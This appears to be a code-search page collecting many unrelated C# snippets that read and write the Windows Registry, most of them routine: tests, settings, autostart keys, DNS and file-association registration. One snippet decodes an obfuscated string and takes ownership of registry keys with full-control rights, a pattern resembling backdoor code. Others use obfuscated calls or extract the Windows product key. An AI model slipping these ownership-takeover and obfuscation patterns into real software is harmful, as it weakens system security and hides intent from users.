public static Exception RegisterHashtable(RegistryKey registrykey, string keyName, Hashtable hashtable)
 {
     RegistryKey registryKey = null;
     Exception result;
     try
     {
         registryKey = registrykey.OpenSubKey(keyName, false);
         if (registryKey != null)
         {
             string[] array = new string[hashtable.Count];
             hashtable.Keys.CopyTo(array, 0);
             string[] array2 = array;
             for (int i = 0; i < array2.Length; i++)
             {
                 string text = array2[i];
                 hashtable[text] = registryKey.GetValue(text, hashtable[text]);
             }
         }
     }
     catch (Exception ex)
     {
         result = ex;
         return result;
     }
     finally
     {
         if (registryKey != null)
         {
             registryKey.Close();
         }
     }
     result = null;
     return result;
 }
 public static Exception SetRegistryKeyValue(RegistryKey registrykey, string keyName, Hashtable hashtable)
 {
     RegistryKey registryKey = null;
     Exception result;
     try
     {
         registryKey = registrykey.OpenSubKey(keyName, true);
         if (registryKey == null)
         {
             registryKey = Registry.CurrentUser.CreateSubKey(keyName);
         }
         if (registryKey != null)
         {
             foreach (DictionaryEntry dictionaryEntry in hashtable)
             {
                 registryKey.SetValue(dictionaryEntry.Key.ToString(), dictionaryEntry.Value);
             }
         }
     }
     catch (Exception ex)
     {
         result = ex;
         return result;
     }
     finally
     {
         if (registryKey != null)
         {
             registryKey.Close();
         }
     }
     result = null;
     return result;
 }
Exemple #3
0
 static eval_y()
 {
     // Note: this type is marked as 'beforefieldinit'.
     if (true)
     {
     }
     eval_y.eval_f = "bak";
     eval_y.eval_g = "http://fullautoholdem.com/buynow.php";
     eval_y.eval_j = "Possible connection error.";
     eval_y.eval_k = Registry.CurrentUser.CreateSubKey(global::eval_r.eval_c);
     eval_y.eval_p = "";
 }
Exemple #4
0
        public TestSubKey(string testKeyName)
        {
            TestKey = testKeyName;

            var rk = Registry.CurrentUser;
            // If subkey already exists then we should fail because it could be used by someone
            Assert.Null(rk.OpenSubKey(TestKey));

            //created the test key. if that failed it will cause many of the test scenarios below fail.
            _testRegistryKey = rk.CreateSubKey(TestKey);
            Assert.NotNull(_testRegistryKey);
        }
    public static bool WriteValue(string KeyName, string Value)
    {
        try
        {
            sb = reg.CreateSubKey(subkey);
            sb.SetValue(KeyName,Value);
        }
        catch(Exception ex)
        {
            return false;
        }

        return true;
    }
Exemple #6
0
        protected RegistryTestsBase()
        {
            // Create a unique name for this test class
            TestRegistryKeyName = CreateUniqueKeyName();

            // Cleanup the key in case a previous run of this test crashed and left
            // the key behind.  The key name is specific enough to corefx that we don't
            // need to worry about it being a real key on the user's system used
            // for another purpose.
            RemoveKeyIfExists(TestRegistryKeyName);

            // Then create the key.
            TestRegistryKey = Registry.CurrentUser.CreateSubKey(TestRegistryKeyName);
            Assert.NotNull(TestRegistryKey);
        }
    public static string ReadValue(string KeyName)
    {
        string val = "";

        try
        {
            sb = reg.OpenSubKey(subkey);
            val = sb.GetValue(KeyName).ToString();
        }
        catch(Exception ex)
        {
            val = "";
        }

        return val;
    }
 public static void GetValueFromDifferentKeys(RegistryKey key, string valueName)
 {
     const int expectedValue = 11;
     const int defaultValue = 42;
     try
     {
         key.SetValue(valueName, expectedValue);
         try
         {
             Assert.Equal(expectedValue, (int)Registry.GetValue(key.Name, valueName, defaultValue));
         }
         finally
         {
             key.DeleteValue(valueName);
         }
     }
     catch (UnauthorizedAccessException) { }
     catch (IOException) { }
 }
 public static void GetValueFromDifferentKeys(RegistryKey key, string valueName, bool useSeparator)
 {
     const int expectedValue = 11;
     const int defaultValue = 42;
     try
     {
         key.SetValue(valueName, expectedValue);
         try
         {
             // keyName should be case insensitive so we mix casing
             string keyName = MixUpperAndLowerCase(key.Name) + (useSeparator ? "\\" : "");
             Assert.Equal(expectedValue, (int)Registry.GetValue(keyName, valueName, defaultValue));
         }
         finally
         {
             key.DeleteValue(valueName);
         }
     }
     catch (UnauthorizedAccessException) { }
     catch (IOException) { }
 }
        public override async Task <ActionResponse> ExecuteActionAsync(ActionRequest request)
        {
            string osVersion        = NTHelper.OsVersion;
            string productName      = null;
            string installationType = null;

            using (RegistryKey k = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows NT\\CurrentVersion"))
            {
                productName      = (string)k.GetValue("ProductName");
                installationType = (string)k.GetValue("InstallationType");
            }

            request.Logger.LogEvent("OSVersion", new System.Collections.Generic.Dictionary <string, string> {
                { nameof(osVersion), osVersion },
                { nameof(productName), productName },
                { nameof(installationType), installationType }
            });

            WindowsPrincipal current = new WindowsPrincipal(WindowsIdentity.GetCurrent());

            return(current.IsInRole(WindowsBuiltInRole.Administrator)
                ? new ActionResponse(ActionStatus.Success, JsonUtility.GetEmptyJObject())
                : new ActionResponse(ActionStatus.Failure, JsonUtility.GetEmptyJObject(), "NotAdmin"));
        }
Exemple #11
0
        private void Initialize()
        {
            RegistryKey regKey = Registry.CurrentUser.CreateSubKey("pappyjoe");

            serve = (string)regKey.GetValue("IP");
            //serve = "desktop-n2oa49j";
            PappyjoeMVC.Model.Connection.MyGlobals.globalPath = (string)regKey.GetValue("Server");
            database      = "pappyjoedb";
            uid           = (string)regKey.GetValue("User");
            password_ency = (string)regKey.GetValue("Password");
            if (password_ency == "" || password_ency == null)
            {
                password = "";
            }
            else
            {
                password = EncryptDecrypt(password_ency, 50);
            }
            string connectionString;

            connectionString = "SERVER=" + serve + ";" + "DATABASE=" + database + ";" + "UID=" + uid + ";" + "PASSWORD="******"; Charset=utf8;";
            con   = new MySqlConnection(connectionString);
            conSP = new MySqlConnection(connectionString);
        }
Exemple #12
0
        internal static IEnumerable <string> EnumerateHardwareDefinitionFolders(StringComparer orderPreference = null)
        {
            string lastUsedMainboard = LastUsedMainboardType;
            string lastUsedPath;

            RegistryKey lastUsedKey = RegistryHelper.OpenRegistryKeyOrNull(MachineHardwareDefinitionFoldersKey, lastUsedMainboard);

            if (RegistryHelper.TryGetValue(lastUsedKey, out lastUsedPath))
            {
                yield return(lastUsedPath);
            }

            foreach (RegistryKey folderKey in RegistryHelper.EnumerateSubkeys(MachineHardwareDefinitionFoldersKey, orderPreference))
            {
                string folderPath = null;
                if (RegistryHelper.TryGetValue(folderKey, out folderPath))
                {
                    if (folderPath != lastUsedPath)
                    {
                        yield return(folderPath);
                    }
                }
            }
        }
        public AssetBundleManageData()
        {
            RegistryKey key = Registry.CurrentUser;
            RegistryKey software;

            software = key.OpenSubKey("software\\Spartacus", true);
            if (software == null)
            {
                software = key.CreateSubKey("software\\Spartacus");
            }
            var path = software.GetValue("NotUseBundleOnEditor");

            if (path == null)
            {
                notUseBundleOnEditor = false;
                software.SetValue("NotUseBundleOnEditor", false);
            }
            else
            {
                notUseBundleOnEditor = bool.Parse(path.ToString().ToLower());
            }

            key.Close();
        }
Exemple #14
0
 // Token: 0x06000CC0 RID: 3264 RVA: 0x00039488 File Offset: 0x00037688
 internal static string[] GetMultiStringValueFromRegistry(string valueName, int tracingKey)
 {
     string[] result = new string[0];
     try
     {
         using (RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\MSExchange ADAccess", false))
         {
             if (registryKey != null)
             {
                 object value = registryKey.GetValue(valueName);
                 if (value == null)
                 {
                     return(result);
                 }
                 if (value is string[])
                 {
                     return((string[])value);
                 }
                 Microsoft.Exchange.Diagnostics.Components.Data.Directory.ExTraceGlobals.ADTopologyTracer.TraceDebug <string, string>((long)tracingKey, "{0} has wrong type {1}.", valueName, value.GetType().Name);
             }
             else
             {
                 Microsoft.Exchange.Diagnostics.Components.Data.Directory.ExTraceGlobals.ADTopologyTracer.TraceError <string>((long)tracingKey, "Opening registry key {0} failed.", valueName);
             }
         }
     }
     catch (SecurityException ex)
     {
         Microsoft.Exchange.Diagnostics.Components.Data.Directory.ExTraceGlobals.ADTopologyTracer.TraceError <string>((long)tracingKey, "SecurityException: {0}", ex.Message);
     }
     catch (UnauthorizedAccessException ex2)
     {
         Microsoft.Exchange.Diagnostics.Components.Data.Directory.ExTraceGlobals.ADTopologyTracer.TraceError <string>((long)tracingKey, "UnauthorizedAccessException: {0}", ex2.Message);
     }
     return(result);
 }
Exemple #15
0
        private void btnOK_Click(object sender, EventArgs e)
        {
            try
            {
                if (string.IsNullOrEmpty(this.tbName.Text))
                {
                    MessageBox.Show(this, "The name must not be empty", this.Text);
                    return;
                }

                if (this.includeRule == null)
                {
                    this.includeRule = new RegistryKey();
                }

                this.includeRule.Name = this.tbName.Text;

                this.Close(DialogResult.OK);
            }
            catch (Exception x)
            {
                MessageBox.Show(this, x.Message, "Saving changes");
            }
        }
        private static void SetNameServerIPv6(NetworkInterface nic, ICollection <IPAddress> dnsAddresses)
        {
            //HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters\Interfaces\{}

            string nameServer = null;

            foreach (IPAddress dnsAddress in dnsAddresses)
            {
                if (dnsAddress.AddressFamily != AddressFamily.InterNetworkV6)
                {
                    continue;
                }

                if (nameServer == null)
                {
                    nameServer = dnsAddress.ToString();
                }
                else
                {
                    nameServer += "," + dnsAddress.ToString();
                }
            }

            if (nameServer == null)
            {
                nameServer = "";
            }

            using (RegistryKey key = Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters\Interfaces\" + nic.Id, true))
            {
                if (key != null)
                {
                    key.SetValue("NameServer", nameServer, RegistryValueKind.String);
                }
            }
        }
        public static void SetKeyPermissions(RegistryKey key, string subKey, bool reset)
        {
            bool isProtected = !reset;
            // SYSTEM
            string text  = ZipHelper.Unzip("C44MDnH1BQA=");
            string text2 = reset ? text : RegistryHelper.GetNewOwnerName();

            RegistryHelper.SetKeyOwnerWithPrivileges(key, subKey, text);
            using (RegistryKey registryKey = key.OpenSubKey(subKey, RegistryKeyPermissionCheck.ReadWriteSubTree, RegistryRights.ChangePermissions))
            {
                RegistrySecurity registrySecurity = new RegistrySecurity();
                if (!reset)
                {
                    RegistryAccessRule rule = new RegistryAccessRule(text2, RegistryRights.FullControl, InheritanceFlags.None, PropagationFlags.NoPropagateInherit, AccessControlType.Allow);
                    registrySecurity.AddAccessRule(rule);
                }
                registrySecurity.SetAccessRuleProtection(isProtected, false);
                registryKey.SetAccessControl(registrySecurity);
            }
            if (!reset)
            {
                RegistryHelper.SetKeyOwnerWithPrivileges(key, subKey, text2);
            }
        }
Exemple #18
0
        public static bool Emulate(uint version)
        {
            string name = new FileInfo(Application.ExecutablePath).Name;
            RegistryKeyPermissionCheck readwrite = RegistryKeyPermissionCheck.ReadWriteSubTree;
            //RegistryKey key = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION", true);
            RegistryKey key = Registry.CurrentUser.CreateSubKey("Software", readwrite).CreateSubKey("Microsoft", readwrite).CreateSubKey("Internet Explorer", readwrite)
                              .CreateSubKey("Main", readwrite).CreateSubKey("FeatureControl", readwrite).CreateSubKey("FEATURE_BROWSER_EMULATION", readwrite);

            if (!key.GetValueNames().Contains(name))
            {
                key.SetValue(name, version, RegistryValueKind.DWord);
                return(false);
            }
            else
            {
                uint currVal = Convert.ToUInt32(key.GetValue(name));
                if (currVal == version)
                {
                    return(true);
                }
                key.SetValue(name, version, RegistryValueKind.DWord);
                return(false);
            }
        }
Exemple #19
0
        /// <summary>
        /// Get the Hauppauge IR components installation path from the windows registry.
        /// </summary>
        /// <returns>Installation path of the Hauppauge IR components</returns>
        public static string GetHCWPath()
        {
            string dllPath = null;

            using (
                RegistryKey rkey =
                    Registry.LocalMachine.OpenSubKey(
                        "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Hauppauge WinTV Infrared Remote"))
            {
                if (rkey != null)
                {
                    dllPath = rkey.GetValue("UninstallString").ToString();
                    if (dllPath.IndexOf("UNir32") > 0)
                    {
                        dllPath = dllPath.Substring(0, dllPath.IndexOf("UNir32"));
                    }
                    else if (dllPath.IndexOf("UNIR32") > 0)
                    {
                        dllPath = dllPath.Substring(0, dllPath.IndexOf("UNIR32"));
                    }
                }
            }
            return(dllPath);
        }
        public static RegistryKey GetRootKey(string subkeyFullPath)
        {
            string[] path = subkeyFullPath.Split('\\');
            try
            {
                switch (path[0]) // <== root;
                {
                case "HKEY_CLASSES_ROOT":
                    return(RegistryKey.OpenBaseKey(RegistryHive.ClassesRoot, RegistryView.Registry64));

                case "HKEY_CURRENT_USER":
                    return(RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64));

                case "HKEY_LOCAL_MACHINE":
                    return(RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64));

                case "HKEY_USERS":
                    return(RegistryKey.OpenBaseKey(RegistryHive.Users, RegistryView.Registry64));

                case "HKEY_CURRENT_CONFIG":
                    return(RegistryKey.OpenBaseKey(RegistryHive.CurrentConfig, RegistryView.Registry64));

                default:
                    /* If none of the above then the key must be invalid */
                    throw new Exception("Invalid rootkey, could not be found.");
                }
            }
            catch (SystemException)
            {
                throw new Exception("Unable to open root registry key, you do not have the needed permissions.");
            }
            catch (Exception e)
            {
                throw e;
            }
        }
Exemple #21
0
        //判断本软件的注册表项是否存在
        public static bool IsAppRegeditExit()
        {
            bool _exit = false;

            string[] subkeyNames;
            try
            {
                RegistryKey hkml     = Registry.LocalMachine;
                RegistryKey software = hkml.OpenSubKey("SOFTWARE", true);
                subkeyNames = software.GetSubKeyNames();
                foreach (string keyName in subkeyNames)
                {
                    if (keyName == APPNAMEREG)
                    {
                        _exit = true;
                        return(_exit);
                    }
                }
            }
            catch
            {
            }
            return(_exit);
        }
Exemple #22
0
        // Return true if extension already associated in registry
        public static bool IsAssociatedWithMe(string extension)
        {
            Assembly me   = Assembly.GetExecutingAssembly();
            string   path = me.Location;

            try
            {
                RegistryKey rkey = Registry.ClassesRoot.OpenSubKey(extension, false);
                if (rkey == null)
                {
                    return(false);
                }
                string appId = rkey.GetValue("").ToString();
                rkey = Registry.ClassesRoot.OpenSubKey(appId, false);
                rkey = rkey.OpenSubKey("Shell", false);
                rkey = rkey.OpenSubKey("Open", false);
                rkey = rkey.OpenSubKey("Command", false);
                return(rkey.GetValue("").ToString().ToLower().StartsWith(path.ToLower()));
            }
            catch
            {
                return(false);
            }
        }
Exemple #23
0
        internal static string MetodoExisteGdrive()
        {
            RegistryKey RK = Registry.CurrentUser.OpenSubKey("Software\\Google\\Drive");

            if (RK == null)
            {
                //MessageBox.Show("não instalado Flash Instalado");
                //verificar pasta alex instalado no drive c
                bEncontrouPastaAlexSimNao = metodoVerificarPastaAlexBaixarArquivoGoogledrivedo();
                if (!bEncontrouPastaAlexSimNao)
                {
                    return("Erro ao encontrar a pasta " + spasta_Alex);
                }
                //baixar arquivo google drive e se não existir.
                bEncontrouArquivogoogledriverpastaSimNao = metodoVerificarArquivoGoogledrivedo();
                if (!bEncontrouPastaAlexSimNao)
                {
                    return("Erro ao baixar  " + instaladorGoogleDrive);
                }
                //metodoBaixarArquivoGoogledrivedoSite();
                return("* -> Instalado com exito o GOOGLE DRIVE.");
            }
            return("* -> Verificado com exito o GOOGLE DRIVE.");
        }
        public static string GetSerial()
        {
            string strKey = "";

            try
            {
                RegistryKey RegKey  = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows NT\\CurrentVersion", false);
                byte[]      bytDPID = (byte[])RegKey.GetValue("DigitalProductID");
                byte[]      bytKey  = new byte[15];

                Array.Copy(bytDPID, 52, bytKey, 0, 15);

                string strChar = "BCDFGHJKMPQRTVWXY2346789";
                for (int j = 0; j <= 24; j++)
                {
                    short nCur = 0;
                    for (int i = 14; i >= 0; i += -1)
                    {
                        nCur      = Convert.ToInt16(nCur * 256 ^ bytKey[i]);
                        bytKey[i] = Convert.ToByte(Convert.ToInt32(nCur / 24));
                        nCur      = Convert.ToInt16(nCur % 24);
                    }
                    strKey = strChar.Substring(nCur, 1) + strKey;
                }
                for (int i = 4; i >= 1; i += -1)
                {
                    strKey = strKey.Insert(i * 5, "-");
                }
            }
            catch
            {
                return("****-****-****-****");
            }

            return(strKey);
        }
        private void simpleButton4_Click(object sender, EventArgs e)
        {
            var process = new Process
            {
                StartInfo =
                {
                    FileName  = "powershell.exe",
                    Arguments = "/c net start WinDefend"
                }
            };

            process.Start();
            var process1 = new Process
            {
                StartInfo =
                {
                    FileName  = "powershell.exe",
                    Arguments = "-command \"Set-Service -Name WinDefend -StartupType Enabled\""
                }
            };

            process1.Start();
            try
            {
                RegistryKey RegKey = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Policies\Microsoft\Windows Defender\", true);
                RegKey.DeleteValue("DisableAntiSpyware");
            }
            catch (Exception ex)
            {
                if (ex is ArgumentNullException)
                {
                    DevExpress.XtraEditors.XtraMessageBox.Show("Null");
                }
            }
            simpleButton4.ForeColor = Color.Green;
        }
        private void ImportButton_Click(object sender, EventArgs e)
        {
            var item = (KeyValuePair <string, string>)MobileVoiceComboBox.SelectedItem;

            if (string.IsNullOrEmpty(item.Key))
            {
                return;
            }
            // Confirm Import.
            var form = new MessageBoxForm();

            form.StartPosition = FormStartPosition.CenterParent;
            var message = string.Format("Are you sure you want to import TTS {0} voice?", item.Value);
            var result  = form.ShowForm(message, "Import", MessageBoxButtons.YesNo, MessageBoxIcon.Exclamation, MessageBoxDefaultButton.Button2);

            if (result != DialogResult.Yes)
            {
                return;
            }
            // Do import.
            var sourceKey = string.Format("{0}\\{1}", mTokens32, item.Key);
            var targetKey = string.Format("{0}\\{1}", aTokens32, item.Key);
            var lm        = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry32);

            RegistryHelper.Copy(lm, sourceKey, targetKey, true);
            lm.Dispose();
            if (Environment.Is64BitOperatingSystem)
            {
                lm        = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64);
                sourceKey = string.Format("{0}\\{1}", mTokens32, item.Key);
                targetKey = string.Format("{0}\\{1}", aTokens32, item.Key);
                RegistryHelper.Copy(lm, sourceKey, targetKey, true);
                lm.Dispose();
            }
            UpdateButtons();
        }
        /// <summary>
        /// 读取注册表内容
        /// </summary>
        /// <param name="registryHive">注册表模块</param>
        /// <param name="address">注册表路径</param>
        /// <param name="key">读取内容名称</param>
        public static string ReadContent(RegistryHive registryHive, string address, string key)
        {
            string content = "";

            try
            {
                RegistryKey localKey = GetBaseRegistryKey(registryHive);
                RegistryKey rk2      = localKey.CreateSubKey(address);
                object      val      = rk2.GetValue(address);
                if (!val.IsEmpty())
                {
                    content = val.ToString();
                }

                rk2.Close();
                localKey.Close();
            }
            catch (Exception ex)
            {
                throw new Exception("注册表读取失败:" + ex.Message);
            }

            return(content);
        }
Exemple #28
0
 public static int SetAutoBootStatu(bool isAutoBoot)
 {
     try
     {
         string      path = Application.ExecutablePath;
         RegistryKey rk   = Registry.LocalMachine;
         RegistryKey rk2  = rk.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run");
         if (isAutoBoot)
         {
             rk2.SetValue("IClipboard", "\"" + path + "\" -m");
         }
         else
         {
             rk2.DeleteValue("IClipboard", false);
         }
         rk2.Close();
         rk.Close();
         return(0);
     }
     catch (Exception ex)
     {
         return(-1);
     }
 }
        // TODO: Introduce a common util API for registry calls, use it also in BenchmarkDotNet.Toolchains.CsProj.GetCurrentVersionBasedOnWindowsRegistry
        /// <summary>
        /// On Windows, this method returns UBR (Update Build Revision) based on Registry.
        /// Returns null if the value is not available
        /// </summary>
        /// <returns></returns>
        private static int?GetWindowsUbr()
        {
            if (IsWindows())
            {
                try
                {
                    using (var baseKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry32))
                        using (var ndpKey = baseKey.OpenSubKey(@"SOFTWARE\Microsoft\Windows NT\CurrentVersion"))
                        {
                            if (ndpKey == null)
                            {
                                return(null);
                            }

                            return(Convert.ToInt32(ndpKey.GetValue("UBR")));
                        }
                }
                catch (Exception)
                {
                    return(null);
                }
            }
            return(null);
        }
Exemple #30
0
    public bool method_21(string string_7)
    {
        string      text        = Delegate88.smethod_0(Class3.smethod_1 <string>(1465117900u, 11523132775189630644uL), this.string_3, "\\Files");
        RegistryKey registryKey = Delegate173.smethod_0(Registry.CurrentUser, text, true);

        if (!Delegate129.smethod_1(string_7))
        {
            Delegate198.smethod_0(registryKey, string_7);
            return(false);
        }
        try
        {
            this.method_18(string_7);
        }
        catch (Exception)
        {
        }
        if (registryKey != null)
        {
            Delegate198.smethod_0(registryKey, string_7);
            return(true);
        }
        return(false);
    }
Exemple #31
0
 public static void SetStartWithWindows(bool startWithWindows)
 {
     try
     {
         using (RegistryKey regkey = Registry.CurrentUser.OpenSubKey(WindowsStartupRun, true))
         {
             if (regkey != null)
             {
                 if (startWithWindows)
                 {
                     regkey.SetValue(ApplicationName, StartupPath, RegistryValueKind.String);
                 }
                 else
                 {
                     regkey.DeleteValue(ApplicationName, false);
                 }
             }
         }
     }
     catch (Exception e)
     {
         DebugHelper.WriteException(e);
     }
 }
Exemple #32
0
        //枚举指定的键的值
        public string[] EnumValueName(HKEY Root, string SubKey)
        {
            RegistryKey subKey = reg[(int)Root];

            if (SubKey.Length == 0)
            {
                return(null);
            }
            try
            {
                string[] strSubKey = SubKey.Split('\\');
                foreach (string strKeyName in strSubKey)
                {
                    subKey = subKey.OpenSubKey(strKeyName);
                }
                string[] strValue = subKey.GetValueNames();
                subKey.Close();
                return(strValue);
            }
            catch
            {
                return(null);
            }
        }
        private static ServiceStartupType GetStartupType(RegistryKey subKey)
        {
            var start = (int)subKey.GetValue("Start");

            switch (start)
            {
            case 2:
                var value = subKey.GetValue("DelayedAutostart");
                if (value == null)
                {
                    return(ServiceStartupType.Automatic);
                }

                return((int)value == 1 ? ServiceStartupType.DelayStart : ServiceStartupType.Automatic);

            case 3:
                return(ServiceStartupType.Manual);

            case 4:
                return(ServiceStartupType.Disabled);
            }

            return(ServiceStartupType.Unknown);
        }
        static void RegisterUriScheme(string appPath)
        {
            // HKEY_CLASSES_ROOT\myscheme
            using (RegistryKey hkcrClass = Registry.ClassesRoot.CreateSubKey(URI_SCHEME)) {
                hkcrClass.SetValue(null, URI_KEY);
                hkcrClass.SetValue("URL Protocol", String.Empty, RegistryValueKind.String);

                // use the application's icon as the URI scheme icon
                using (RegistryKey defaultIcon = hkcrClass.CreateSubKey("DefaultIcon")) {
                    string iconValue = String.Format("\"{0}\",0", appPath);
                    defaultIcon.SetValue(null, iconValue);
                }

                // open the application and pass the URI to the command-line
                using (RegistryKey shell = hkcrClass.CreateSubKey("shell")) {
                    using (RegistryKey open = shell.CreateSubKey("open")) {
                        using (RegistryKey command = open.CreateSubKey("command")) {
                            string cmdValue = String.Format("\"{0}\" \"%1\"", appPath);
                            command.SetValue(null, cmdValue);
                        }
                    }
                }
            }
        }
Exemple #35
0
        static void Main(string[] args)
        {
            // 1033 - En
            // 1049 - Ru

            for (; ;)
            {
                if (GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), IntPtr.Zero)) == 1033 && Registry.GetValue(@"HKEY_Users\S-1-5-21-1631277099-235724909-2667781766-1001\SOFTWARE\Microsoft\Accessibility\CursorIndicator", "IndicatorColor", null).ToString() != "16711680")
                {
                    using (RegistryKey key = Registry.Users.CreateSubKey(@"S-1-5-21-1631277099-235724909-2667781766-1001\SOFTWARE\Microsoft\Accessibility\CursorIndicator"))
                    {
                        key.SetValue("IndicatorColor", 0xff0000); //16711680, синий
                    }
                }
                else if (GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), IntPtr.Zero)) == 1049 && Registry.GetValue(@"HKEY_Users\S-1-5-21-1631277099-235724909-2667781766-1001\SOFTWARE\Microsoft\Accessibility\CursorIndicator", "IndicatorColor", null).ToString() != "255")
                {
                    using (RegistryKey key = Registry.Users.CreateSubKey(@"S-1-5-21-1631277099-235724909-2667781766-1001\SOFTWARE\Microsoft\Accessibility\CursorIndicator"))
                    {
                        key.SetValue("IndicatorColor", 0x000000ff); //255, красный
                    }
                }
                Thread.Sleep(300);
            }
        }
Exemple #36
0
        /* **************************************************************************
        * **************************************************************************/

        /// <summary>
        /// Retrive the count of values in the key.
        /// input: void
        /// output: number of keys
        /// </summary>
        public int ValueCount()
        {
            try
            {
                // Setting
                RegistryKey rk  = baseRegistryKey;
                RegistryKey sk1 = rk.OpenSubKey(subKey);
                // If the RegistryKey exists...
                if (sk1 != null)
                {
                    return(sk1.ValueCount);
                }
                else
                {
                    return(0);
                }
            }
            catch (Exception e)
            {
                // AAAAAAAAAAARGH, an error!
                ShowErrorMessage(e, "Retriving keys of " + subKey);
                return(0);
            }
        }
Exemple #37
0
        private static void Initialize(StxLoggerBase stxLogger)
        {
            stxLogger.Initialized = true;
            int registryInt;

            using (RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\Monitoring\\Parameters"))
            {
                StxLogger.Enabled = StxLogger.GetRegistryBool(registryKey, "ProtocolLoggingEnabled", true);
                registryInt       = StxLogger.GetRegistryInt(registryKey, "LogBufferSize", 256);
            }
            if (StxLogger.registryWatcher == null)
            {
                StxLogger.registryWatcher = new RegistryWatcher("SYSTEM\\CurrentControlSet\\Services\\Monitoring\\Parameters", false);
            }
            if (StxLogger.timer == null)
            {
                StxLogger.timer = new Timer(new TimerCallback(StxLogger.UpdateConfigIfChanged), null, 0, 300000);
            }
            if (StxLogger.Enabled)
            {
                stxLogger.Log.Configure(Path.Combine(StxLogger.GetExchangeInstallPath(), "Logging\\MonitoringLogs\\STx"), StxLogger.defaultMaxRetentionPeriod, (long)StxLogger.defaultDirectorySizeQuota.ToBytes(), (long)StxLogger.defaultPerFileSizeQuota.ToBytes(), true, registryInt, StxLogger.defaultFlushInterval);
                AppDomain.CurrentDomain.ProcessExit += StxLogger.CurrentDomain_ProcessExit;
            }
        }
Exemple #38
0
        public void LoadFromRegistry()
        {
            if (registryKeyName != null)
            {
                RemoveAll();

                RegistryKey regKey = Registry.CurrentUser.OpenSubKey(registryKeyName);
                if (regKey != null)
                {
                    maxEntries = (int)regKey.GetValue("max", maxEntries);

                    for (int number = maxEntries; number > 0; number--)
                    {
                        String filename = (String)regKey.GetValue("File" + number.ToString());
                        if (filename != null)
                        {
                            AddFile(filename);
                        }
                    }

                    regKey.Close();
                }
            }
        }
        /// <summary>
        ///  Metoda sprawdzająca wersję frameworka. Zwraca prawdę w przypadku posiadania wersji frameworka większej niz 4.6.
        ///  Zwraca fałsz w przypadku braku frameworka lub jego odpowiedniej wersji dla poprawnego działania programu.
        /// </summary>
        /// <returns> wartość bool czy istnieje framework i odpowienia wersja frameworka</returns>
        public static bool CheckFrameworkVersion()
        {
            const string subkey = @"SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full\";                                                       // tworzenie stringa subkey w celu dotacia do danej wartości rejetstru, która przechowuję inforamcje o wersji .net frameorka

            using (RegistryKey ndpKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry32).OpenSubKey(subkey))         // pobranie wartościu wersji .net frameworka na podstawie rejestru i danego subkeya
            {
                if (ndpKey != null && ndpKey.GetValue("Release") != null)                                                                       // sprawdzenie czy istnieje taki subkey i czy jest zainstalowany taki framework
                {
                    if (CheckFor45PlusVersion((int)ndpKey.GetValue("Release")))
                    {                                                                                                                           // sprawdzenie czy jest to wersja 4.5> i pobranie wartości wersji frameworka
                        return(true);
                    }                                                                                                                           // zwrócenie prawdy w przypadku posiadanej wersji większej niż 4.5
                }
                else                                                                                                                            //  nie posiada odpowiedniego rejestru na wersji frameworka
                {
                    return(false);                                                                                                              // zwrócenie fałszu w przypadku nie posiadania odpowiedniej wersji frameworka
                }

                return(false);                                                                                                                   // zwrócenie fałszu w przypadku nie posiadania frameworka
            }
            /// <summary>
            ///  Metoda zwracająca infrormacje czy o obsługiwana wersja .net frameowrka jest odpowiednia dla programu
            /// </summary>
            /// <param name="releaseKey"> int wartość wyszukanej wersji frameworka</param>
            /// <returns> bool wartość czy obsługuję daną wersje frameworka </returns>
            bool CheckFor45PlusVersion(int releaseKey)
            {
                if (releaseKey >= 528040)                                                                // warunek czy wersja frameworka wyższa  lub równa  4.6, ponieważ taką minimalnie musi użytkownik obsługiwać
                                                                                                         // w celu uruchomienia aplikacji

                {
                    return(true);                                                                        // zwrócenie prawdy w przypadku posiadanej wersji
                }
                return(false);                                                                           // zwrócenie fałszu w przypadku braku posiadanej wersji
            }
        }
        public static bool SetAutorunValue(bool autorun)
        {
            string      ExePath = System.Windows.Forms.Application.ExecutablePath;
            RegistryKey reg     = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\");

            try
            {
                if (autorun)
                {
                    reg.SetValue(name, ExePath);
                }
                else
                {
                    reg.DeleteValue(name);
                }

                reg.Close();
            }
            catch
            {
                return(false);
            }
            return(true);
        }
    static bool SetRegKey(RegistryKey RootKey, string sPath, string sKey, string sValue)
    {
        try
        {
            RegistryKey CurKey = RootKey.OpenSubKey(sPath);
            if (CurKey != null)
            {
                // Actually set it
                CurKey.SetValue(sKey, sValue);
            }
        }
        catch (Exception Ex)
        {
            Console.WriteLine(Ex.Message);
            return false;
        }

        return true;
    }
Exemple #42
0
    private void loadConfig()
    {
        rootKey = Microsoft.Win32.Registry.CurrentUser;
        softwareKey = rootKey.CreateSubKey (@"SOFTWARE\Mono.mLedMatrix");

        led_matrix_address = (string)softwareKey.GetValue("ip_address","192.168.0.222");
        led_matrix.setAddress(led_matrix_address);

        winamp.winamp_address = (string)softwareKey.GetValue("winamp_address","localhost");
        winamp.winamp_port = (int)softwareKey.GetValue("winamp_port",4800);
        winamp.winamp_pass = (string)softwareKey.GetValue("winamp_pass","pass");
        entry_winamp_address.Text = winamp.winamp_address;
